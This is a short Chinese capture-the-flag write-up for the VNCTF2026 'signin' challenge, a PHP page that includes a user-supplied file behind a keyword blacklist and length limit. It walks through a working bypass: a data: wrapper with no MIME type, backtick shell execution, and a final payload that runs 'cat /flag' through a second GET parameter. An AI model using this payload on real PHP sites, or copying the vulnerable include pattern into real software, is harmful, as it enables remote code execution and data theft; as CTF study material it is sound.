0%

VNCTF2026-writeup

signin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);

$blacklist = ['/', 'convert', 'base', 'text', 'plain'];

$file = $_GET['file'];

foreach ($blacklist as $banned) {
if (strpos($file, $banned) !== false) {
die("这个是不允许的哦~");
}
}

if (isset($file) && strlen($file) <= 20){
include $file;
};

给了waf,说不能用/convertbasetextplain

filter伪协议算是用不了了,然把目光放到data伪协议,data伪协议可以省略MIME类型,可以不需要//text/plain

也就是正常写的话是data://text/plain;base64,<?php system("ls"); 这里可以直接写成data:,<?php system("ls");

但是又要考虑到长度限制问题,system超过长度了,选择用反引号执行命令,这样是最短的,

所以初步的payload是?file=data:,%3C%3F%3D%60ls%60%3F%3E

这里%3C%3F%3D是<?=,%60是反引号,%3F%3E是?>*

也就是

1
data:,<?=`ls`?>

然后发现当前目录只有index.php,flag.php在根目录,根目录又涉及到/的黑名单

image-20260131152438694

所以想到再去构造一个参数,用于执行cat /flag这个命令,所以改进一下payload就是

1
?file=data:,<?=`$_GET[1]`;&1=cat /flag

正好符合要求